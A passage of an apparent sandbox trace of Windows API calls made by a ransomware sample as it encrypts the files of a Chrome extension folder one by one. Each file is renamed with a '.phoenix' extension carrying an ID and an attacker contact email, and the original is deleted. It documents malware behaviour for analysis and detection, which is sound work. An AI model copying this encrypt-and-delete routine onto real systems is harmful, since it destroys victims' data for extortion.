	[0262.204] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\craw_window.js")) returned 1
	[0262.206] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.206] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.207] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1741) returned 1
	[0262.207] CloseHandle (hObject=0x2c4) returned 1
	[0262.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css")) returned 0x20
	[0262.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.207] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.207] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.207] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.208] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0262.208] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.208] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x6cd, lpOverlapped=0x0) returned 1
	[0262.259] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x6d0) returned 1
	[0262.259] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x6d0, lpOverlapped=0x0) returned 1
	[0262.260] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0262.260] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.260] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.260] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.260] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.260] CryptDestroyKey (hKey=0x151180) returned 1
	[0262.261] CloseHandle (hObject=0x2c4) returned 1
	[0262.261] CloseHandle (hObject=0x310) returned 1
	[0262.261] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\css\\craw_window.css")) returned 1
	[0262.262] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.262] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.262] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=810) returned 1
	[0262.262] CloseHandle (hObject=0x310) returned 1
	[0262.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html")) returned 0x20
	[0262.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.262] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0262.263] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.263] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.263] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.263] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0262.263] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.263] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x32a, lpOverlapped=0x0) returned 1
	[0262.299] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x330, dwBufLen=0x330 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x330) returned 1
	[0262.299] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x330, lpOverlapped=0x0) returned 1
	[0262.300] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0262.300] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.300] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0262.300] CryptDestroyKey (hKey=0x151540) returned 1
	[0262.300] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0262.300] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.300] CloseHandle (hObject=0x310) returned 1
	[0262.300] CloseHandle (hObject=0x2c4) returned 1
	[0262.300] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\html\\craw_window.html")) returned 1
	[0262.301] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.301] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0262.326] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=4361) returned 1
	[0262.327] CloseHandle (hObject=0x2f4) returned 1
	[0262.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png")) returned 0x20
	[0262.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.329] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.329] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.329] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.329] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.332] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0262.332] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.332] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1109, lpOverlapped=0x0) returned 1
	[0262.355] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1110, dwBufLen=0x1110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x1110) returned 1
	[0262.355] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x1110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x1110, lpOverlapped=0x0) returned 1
	[0262.356] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151100) returned 1
	[0262.356] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.356] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.356] CryptDestroyKey (hKey=0x151100) returned 1
	[0262.356] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.356] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.356] CloseHandle (hObject=0x2c4) returned 1
	[0262.356] CloseHandle (hObject=0x2c0) returned 1
	[0262.356] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\icon_128.png")) returned 1
	[0262.357] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.357] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.358] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=160) returned 1
	[0262.358] CloseHandle (hObject=0x2c0) returned 1
	[0262.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png")) returned 0x20
	[0262.358] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.358] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.358] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.358] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.359] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0262.359] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.359] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xa0, lpOverlapped=0x0) returned 1
	[0262.360] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0, dwBufLen=0xb0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xb0) returned 1
	[0262.360] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xb0, lpOverlapped=0x0) returned 1
	[0262.361] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151740) returned 1
	[0262.361] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.361] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70, dwBufLen=0x70 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x70) returned 1
	[0262.361] CryptDestroyKey (hKey=0x151740) returned 1
	[0262.361] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x122, lpOverlapped=0x0) returned 1
	[0262.361] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0262.361] CloseHandle (hObject=0x2c0) returned 1
	[0262.361] CloseHandle (hObject=0x2c4) returned 1
	[0262.361] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_hover.png")) returned 1
	[0262.363] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.363] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.363] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=166) returned 1
	[0262.363] CloseHandle (hObject=0x2c4) returned 1
	[0262.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png")) returned 0x20
	[0262.363] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\images\\topbar_floating_button_maximize.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
